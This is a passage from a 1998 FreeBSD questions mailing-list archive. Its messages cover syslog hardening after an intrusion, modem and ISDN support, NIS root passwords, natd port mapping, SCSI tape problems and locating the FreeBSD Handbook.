Same thing happened to one of my customer's systems. Turns out it's some fifteen year old boy's http exploit that happened to connect to your open syslog port. If you don't need to accept logs from remote sites, kill syslogd and restart it with -s. You can also put that flag in /etc/rc.conf. Doug PS, thanks to those who responded to my previous question on this topic, I got food poisoning over the weekend and am still catching up. -- *** Chief Operations Officer, DALnet IRC network *** *** Proud operator, designer and maintainer of the world's largest *** Internet Relay Chat server. 5,328 clients and still growing. *** Try spider.dal.net on ports 6662-4 (Powered by FreeBSD) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 23:02:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA25221 for freebsd-questions-outgoing; Wed, 8 Apr 1998 23:02:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA25207 for ; Wed, 8 Apr 1998 23:02:53 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA13637; Wed, 8 Apr 1998 23:02:42 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Wed, 8 Apr 1998 23:02:42 -0700 (PDT) From: Doug White Reply-To: Doug White To: "Roger P. Johnson" cc: faq@FreeBSD.ORG Subject: Re: Consider this Q & A concerning "Read error" on boot for the FreeBSD FAQ list. In-Reply-To: <199804072257.RAA08086@fep.hirshfields.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998, Roger P. Johnson wrote: > I am submitting this FAQ in hope that it may be entered into the official > FreeBSD FAQ. After experiencing this problem first hand, searching the net, > watching and posting to the mailing list, I have had no luck in getting a > decent reply in how to fix the problem or what is going wrong. Roger, thanks for your post. Our FAQ maintainer has gone AWOL on us, so I'm taking over his position, assuming he doesn't suddenly appear again. The Handbook and FAQ are undergoing a conversion to their SGML source, so it may be a while before this appears in the online FAQ. Stay tuned and let me know of any parts you want to add/change. Thanks again for taking the time to write and sorry for the belated reply. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 23:18:24 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA27198 for freebsd-questions-outgoing; Wed, 8 Apr 1998 23:18:24 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.ahnet.net (mail2.ahnet.net [207.213.224.24]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA27181 for ; Wed, 8 Apr 1998 23:18:14 -0700 (PDT) (envelope-from webmaster@zwb.net) Received: from znet-pdcs (icg-apc-pr1-p20.apc.net [207.211.76.174]) by mail.ahnet.net (8.8.7/8.8.6) with SMTP id XAA00969 for ; Wed, 8 Apr 1998 23:10:50 -0700 (PDT) Message-Id: <3.0.5.32.19980408231423.00934b40@mail.zwb.net> X-Sender: 5808.dima@mail.zwb.net X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Wed, 08 Apr 1998 23:14:23 -0700 To: freebsd-questions@FreeBSD.ORG From: Dima Dorfman Subject: Modem Software Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Does anyone know where I can get some modem software for FreeBSD? In the FreeBSD handbook at www.freebsd.org, it says "kermit', but doesn't say where to get it. Thanks in advance! Dima --- Thanks! Dima Dorfman - dima@zwb.net "640k ought to be enough for anybody." - Bill Gates, 1981 - Bill Gates To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 23:29:53 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA28670 for freebsd-questions-outgoing; Wed, 8 Apr 1998 23:29:53 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA28663 for ; Wed, 8 Apr 1998 23:29:50 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA13686; Wed, 8 Apr 1998 23:28:29 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Wed, 8 Apr 1998 23:28:29 -0700 (PDT) From: Doug White Reply-To: Doug White To: Arthur Alacar cc: freebsd-questions@FreeBSD.ORG Subject: Re: IPX netware In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, Arthur Alacar wrote: > how can i be connected to a server running novell? I.e., mount a NetWare volume on your machine? I don't know if you can do this without having to pay money. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 23:32:02 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA29849 for freebsd-questions-outgoing; Wed, 8 Apr 1998 23:32:02 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA29826 for ; Wed, 8 Apr 1998 23:31:53 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA13704; Wed, 8 Apr 1998 23:31:44 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Wed, 8 Apr 1998 23:31:44 -0700 (PDT) From: Doug White Reply-To: Doug White To: ETX-B-SL Martti Kuparinen cc: questions@FreeBSD.ORG Subject: Re: invalid password in single-user mode In-Reply-To: <199804080744.JAA00836@kk662.kk.etx.ericsson.se> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, ETX-B-SL Martti Kuparinen wrote: > I have also disabled boot from floppy and activated BIOS password to > give better security (I known, one could always open the box...). So > this is not really needed but one of those "nice-to-have" things. Ah, I see. > > Are you running NIS? > > Yes, this is a NIS client. I bet that your root password is set by NIS and not stored on the local machine. Thus when NIS goes away, the system doesn't know root's password. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 23:37:01 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA00596 for freebsd-questions-outgoing; Wed, 8 Apr 1998 23:37:01 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from keep.scn.ru (keep.scn.ru [195.151.16.41]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA00574 for ; Wed, 8 Apr 1998 23:36:35 -0700 (PDT) (envelope-from alx@scn.ru) Received: from alx.scn.ru (alx.scn.ru [195.151.16.36]) by keep.scn.ru (8.8.7/8.8.7) with ESMTP id OAA02928 for ; Thu, 9 Apr 1998 14:37:20 +0800 (KRSS) (envelope-from alx@scn.ru) Message-Id: <199804090637.OAA02928@keep.scn.ru> From: "Alex N. Zhuravlev" To: "FreeBSD" Subject: Multi-PPP Date: Thu, 9 Apr 1998 14:36:36 +0700 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1161 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi ! I've got Motorolla Bitsurfer (ISDN).It has it's own multi-ppp support, but when i wanted to use it and dial from one to another they both gave me ppp-like string and no connection. Maybe FreeBSD has any kind of multi-ppp support, which can hold 2 B-channels, and dynamically use one or both of ISDN B-channels , in arccodance with voice calls. Thanks for any help ! Alex N. Zhuravlev To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 23:42:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA01216 for freebsd-questions-outgoing; Wed, 8 Apr 1998 23:42:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA01205 for ; Wed, 8 Apr 1998 23:42:44 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA13730; Wed, 8 Apr 1998 23:42:41 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Wed, 8 Apr 1998 23:42:41 -0700 (PDT) From: Doug White Reply-To: Doug White To: Jeffrey Lynn Jeffries cc: Dennis Reiter , freebsd-questions@FreeBSD.ORG Subject: Re: Proxy software, etc. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, Jeffrey Lynn Jeffries wrote: > On Wed, 8 Apr 1998, Dennis Reiter wrote: > > > I wouldn't really consider $250 for the 5-user Pro version that outrageous > > in the Windows world, this is what we use at work. Take a look at MS > > Proxy!! > > Both are outside of my price range - school is costing lots of $$$ and I > can't find it in my heart to sell a PC :) > > > > Anyways, use natd, it'll blow Wingate away. > > If I'm not mistaken, natd only works from the inside network to the > internet; I also want the ability to get into the network from the > internet with services like ftp, httpd, telnet, etc. That's where the > proxy services come in, right? No; natd can be configured to map host/ports to ports on the natd host. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 23:43:14 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA01369 for freebsd-questions-outgoing; Wed, 8 Apr 1998 23:43:14 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA01336 for ; Wed, 8 Apr 1998 23:43:08 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA13734; Wed, 8 Apr 1998 23:43:05 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Wed, 8 Apr 1998 23:43:05 -0700 (PDT) From: Doug White Reply-To: Doug White To: robert w hall cc: FreeBSD Questions Subject: Re: freebsd 2.2.5 kernel on cyrix 686 M2-MMX cpu In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, robert w hall wrote: > Latest News - the new 2.2.6 generic kernel, downloaded to a floppy, does > appear to boot ok on my cyrix box (not much help to me though, since > I've bought the full 2.2.5 CDROM set!) Oh well, the 2.2.6 CD won't be available for a bit, and thanks for supporting the project :) Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 23:46:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA02136 for freebsd-questions-outgoing; Wed, 8 Apr 1998 23:46:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA02130 for ; Wed, 8 Apr 1998 23:46:48 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA13749; Wed, 8 Apr 1998 23:46:46 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Wed, 8 Apr 1998 23:46:46 -0700 (PDT) From: Doug White Reply-To: Doug White To: Ash Yadav cc: questions@FreeBSD.ORG, Ash Yadav Subject: Re: installing on a Compaq Contura Aero 4/33 laptop In-Reply-To: <9804080824.AA11620@rachel.fxsing.ml.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, Ash Yadav wrote: > I have been using freebsd on my desktop machine for the past few months > and am now in possesion of a compaq Contura Aero 4/33 laptop. I have the > 2.2.5 on a CD but the comapq only has a PCMCIA floppy drive. I also have > a xircom modem/ethernet card and my desktop at home acts as a gateway > for my home area network (HAN). I would ideally like to do a net ( ftp ) > install but since I have to boot up the laptop with a floppy and since > the floppy uses the PCMCIA slot I cannot have the ethernet card in it at > the same time. Well, considering that FreeBSD doesn't support Xircom ethernet cards, your problem is well, lessened. :) You can make the floppy show up by setting flag 0x1 on the fdc controller in the boot-time configuration. You probably need to do a DOS install. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 23:48:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA02548 for freebsd-questions-outgoing; Wed, 8 Apr 1998 23:48:51 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA02539 for ; Wed, 8 Apr 1998 23:48:47 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA13753; Wed, 8 Apr 1998 23:48:45 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Wed, 8 Apr 1998 23:48:45 -0700 (PDT) From: Doug White Reply-To: Doug White To: Brandon Huey cc: freebsd-questions@FreeBSD.ORG, bh@epigram.com Subject: Re: bad controller or disk? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, Brandon Huey wrote: > > I've been seeing these errors infrequently, but often before a crash. > > > > > > > Apr 6 17:41:18 pippin /kernel: ahc0: Issued Channel A Bus Reset. 2 SCBs > >aborted > > Apr 6 17:41:18 pippin /kernel: sd0(ahc0:0:0): UNIT ATTENTION > >csi:ff,ff,ff,ff asc:29,2 > > Apr 6 17:41:19 pippin /kernel: , retries:4 > > Apr 6 17:41:19 pippin /kernel: sd1(ahc0:1:0): UNIT ATTENTION asc:29,0 > > Apr 6 17:41:19 pippin /kernel: sd1(ahc0:1:0): Power on, reset, or bus > >device reset occurred field replaceable unit: 2 > > Apr 6 17:41:19 pippin /kernel: , retries:3 > > I don't know whether to suspect the controller or the disk. Can anyone > explain this better? What version of FreeBSD? Are there any errors above the Bus Reset? Usually that comes out in response to an error or frozen device. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 23:49:45 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA02912 for freebsd-questions-outgoing; Wed, 8 Apr 1998 23:49:45 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA02887 for ; Wed, 8 Apr 1998 23:49:35 -0700 (PDT) (envelope-from erakupa@kk.etx.ericsson.se) Received: from kkb3 (kkb3.kk.etx.ericsson.se [130.100.97.23]) by penguin.wise.edt.ericsson.se (8.7.5/8.7.3/glacier-1.12) with SMTP id IAA22491 for ; Thu, 9 Apr 1998 08:49:28 +0200 (MET DST) Received: from kk662.kk.etx.ericsson.se by kkb3 (SMI-8.6/LME-2.2.6) id IAA15782; Thu, 9 Apr 1998 08:49:25 +0200 From: erakupa@kk.etx.ericsson.se (ETX-B-SL Martti Kuparinen) Received: by kk662.kk.etx.ericsson.se (SMI-8.6/client-1.6) id IAA01272; Thu, 9 Apr 1998 08:49:26 +0200 Date: Thu, 9 Apr 1998 08:49:26 +0200 Message-Id: <199804090649.IAA01272@kk662.kk.etx.ericsson.se> To: questions@FreeBSD.ORG Subject: Re: invalid password in single-user mode X-Sun-Charset: US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Doug White wrote: > I bet that your root password is set by NIS and not stored on the local > machine. Thus when NIS goes away, the system doesn't know root's > password. It can't be, because the passwd table in the NIS server does not have entry for root, i.e the NIS passwd contains only user accounts. /Martti To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 23:49:46 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA02916 for freebsd-questions-outgoing; Wed, 8 Apr 1998 23:49:46 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA02893 for ; Wed, 8 Apr 1998 23:49:39 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA13758; Wed, 8 Apr 1998 23:49:28 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Wed, 8 Apr 1998 23:49:28 -0700 (PDT) From: Doug White Reply-To: Doug White To: Keith Jones cc: questions@FreeBSD.ORG Subject: Re: igmp(4) manpage missing? In-Reply-To: <19980408110201.12354@blueberry.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, Keith Jones wrote: > Dear all > > The igmp(4) man page appears to be missing - I have checked in > /usr/share/man/cat4, /usr/share/man/man4 and /usr/src/share/man/man4, > on three different FreeBSD (2.2.6-STABLE) boxes. > > Is something eating my machines' manpages, or is it absent because the > manpage doesn't actually exist? I don't have that page and I have just about everything since 2.0.5. :) Is there a reference to it that's incorrect? Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 23:51:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA03773 for freebsd-questions-outgoing; Wed, 8 Apr 1998 23:51:35 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA03763 for ; Wed, 8 Apr 1998 23:51:31 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA13766; Wed, 8 Apr 1998 23:51:26 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Wed, 8 Apr 1998 23:51:26 -0700 (PDT) From: Doug White Reply-To: Doug White To: "Viren R. Shah" cc: Dave Marquardt , freebsd-questions@FreeBSD.ORG Subject: Re: Modems. In-Reply-To: <199804081229.IAA06597@rstcorp.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, Viren R. Shah wrote: > >>>>> "Doug" == Doug White writes: > > >> pnpinfo and pnp and dset man pages are okay, but if you're not all > >> that familiar with Plug n Play stuff, they don't quite tell you what > >> to do. > > Doug> The only documentation you really _need_ is how to enable it -- > Doug> compile ``controller pnp0'' into your kernel. Hey, it's > Doug> Plug&Pray, it's supposed to Just Work, right? :-) > > You're kidding, right? While I did get my modem working with PnP, I > still don't understand it well enough. Dave is right in that the man > pages do not tell you how to use the PnP stuff. But, this is free > software, and I should probably write up something myself if I want it > done. :-) Wow, if you haven't heard of Plug&Play then we should recruit you right now before the Microsoft marketing poison hits :) Were you by chance in a bomb shelter when Win95 came out? It was all the rage then, that you could pop an ISA card in a computer and not have to fiddle with IRQs and such. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 23:55:01 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA04343 for freebsd-questions-outgoing; Wed, 8 Apr 1998 23:55:01 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA04335 for ; Wed, 8 Apr 1998 23:54:57 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA13770; Wed, 8 Apr 1998 23:54:32 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Wed, 8 Apr 1998 23:54:31 -0700 (PDT) From: Doug White Reply-To: Doug White To: Tomas TPS Ulej cc: questions@FreeBSD.ORG Subject: Re: HP SureStore Tape 6000 In-Reply-To: <199804081435.QAA00805@tps.sk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, Tomas TPS Ulej wrote: > I have problem with backup. I have SureStore Tape6000 my system recognize > this device => > > Apr 8 14:13:38 tps /kernel: aha0 at 0x330-0x333 irq 11 drq 5 on isa > Apr 8 14:13:38 tps /kernel: aha0 waiting for scsi devices to settle > Apr 8 14:13:38 tps /kernel: (aha0:5:0): "HP C1533A 9503" type 1 removable SCSI 2 > Apr 8 14:13:38 tps /kernel: st0(aha0:5:0): Sequential-Access density code 0x24, variable blocks, write-enabled > > All these devices work fine but when I type something like: > > dump -0a /disk2 (or / or /usr) streamer starts writing process... > after 30s-2min computer reboot :((( What's the problem? is some logfile > produced by dump process? I'd try do "mt erase" and also replace tape by > another 4GB tape but it seems same way :( Hm, I'm usually quick to blame SCSI problems on termination and cabling first. Please check the termination is *absolutely* correct (termination on on devices at the end of the bus, termination power should come from the bus) and that your cable is of high quality. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 23:56:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA04856 for freebsd-questions-outgoing; Wed, 8 Apr 1998 23:56:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA04850 for ; Wed, 8 Apr 1998 23:56:50 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA13777; Wed, 8 Apr 1998 23:56:39 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Wed, 8 Apr 1998 23:56:39 -0700 (PDT) From: Doug White Reply-To: Doug White To: Bob Alberti cc: questions@FreeBSD.ORG Subject: Re: FreeBSD Sun Floppy? In-Reply-To: <3.0.32.19980408111733.00956920@freenet.msp.mn.us> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, Bob Alberti wrote: > Hi! I recently came into an old SparcClassic. I'd like to install FreeBSD > on it. Is there any way to build a floppy image to start the process, > particularly if one must use a PC to build the floppy? The machine itself > has a blank 300 MB hard drive and no CD. FreeBSD doesn't officially support Sun hardware (especially the *old* sun4 stuff) (yet), but someone posted a URL to a supposed port (although it may have been to the project-in-progress). Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 23:59:03 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA05368 for freebsd-questions-outgoing; Wed, 8 Apr 1998 23:59:03 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA05360 for ; Wed, 8 Apr 1998 23:58:56 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA13781; Wed, 8 Apr 1998 23:58:53 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Wed, 8 Apr 1998 23:58:53 -0700 (PDT) From: Doug White Reply-To: Doug White To: "Ian O'Friel" cc: questions@FreeBSD.ORG Subject: Re: FreeBSD Handbook In-Reply-To: <000001bd630e$8beb7d80$68f14ac2@metallica> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, Ian O'Friel wrote: > After reading a Guide for Beginners learning UNIX, it told me to read the Handbook, > I have only 1 CD therefore I don't have the "Live" CD. > I was told that the Handbook was on the CD or else I could get it at > www.freebsd.org/handbook/handbook.html > I have visited the page but rather than view all these pages > I would rather try and find the handbook on CD. > Can someone tell me if it is possible to view these through Windows 95, > and if not what commands would I use to view it in FreeBSD ?? See ftp://ftp.freebsd.org/pub/FreeBSD/docs/. Preformatted versions are available there for download. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 00:01:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA05907 for freebsd-questions-outgoing; Thu, 9 Apr 1998 00:01:00 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA05897 for ; Thu, 9 Apr 1998 00:00:57 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id AAA13788; Thu, 9 Apr 1998 00:00:56 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Thu, 9 Apr 1998 00:00:56 -0700 (PDT) From: Doug White Reply-To: Doug White To: Doug Junkins cc: freebsd-questions@FreeBSD.ORG Subject: Re: 2.2.6 install problem In-Reply-To: Message-ID: 